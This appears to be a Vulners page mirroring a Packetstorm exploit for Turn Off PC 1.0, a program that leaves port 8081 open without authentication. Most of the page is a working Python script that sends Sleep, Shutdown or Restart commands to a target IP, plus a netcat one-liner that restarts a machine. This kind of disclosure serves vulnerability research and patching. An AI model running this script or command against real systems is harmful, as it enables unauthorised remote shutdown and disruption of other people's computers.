Lucene search
K

📄 Turn off PC 1.0 Unauthenticated Remote System Control

🗓️ 03 Jul 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 103 Views

Turn Off PC exposes an unsecured socket on port 8081 enabling unauthenticated remote shutdown, restart, and sleep.

Code
# Exploit Title: Turn Off PC 1.0 - Unauthenticated Remote System Control
    (Shutdown/Restart/Sleep)
    # Date: 02/07/25
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://turnoffpc.com/
    # Software Link: https://turnoffpc.com/download/Turn%20Off%20PC%20Setup.exe
    # Version: 1.0
    # Tested on: Windows 10
    
    '''
    Description:
    
    The software exposes an unsecured socket (port 8081) allowing complete
    remote power control (shutdown, restart, sleep) without authentication,
    enabling system disruption attacks.
    
    '''
    
    
    import socket
    import argparse
    
    COMMANDS = {"sleep": "Sleep", "shutdown": "Shutdown", "restart": "Restart"}
    
    def send_command(ip, command_key):
        if command_key not in COMMANDS:
            print(f"Unknown command: '{command_key}'. Supported: {',
    '.join(COMMANDS.keys())}")
            return
    
        try:
            with socket.create_connection((ip, 8081), timeout=5) as s:
                s.sendall(COMMANDS[command_key].encode())
                try:
                    print(s.recv(4096).decode(errors="ignore") or "No response")
                except socket.timeout:
                    print("No response (timeout)")
        except Exception as e:
            print(f"Error: {e}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="Send
    Sleep/Shutdown/Restart command to Turn Off PC version 1.0.")
        parser.add_argument("--ip", help="Target IP")
        parser.add_argument("command", help="sleep/shutdown/restart")
        send_command(parser.parse_args().ip,
    parser.parse_args().command.lower())
    
    
    
    POC:
    
    echo -n "Restart" | nc 192.168.8.104 8081

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jul 2025 00:00Current
7.5High risk
Vulners AI Score7.5
103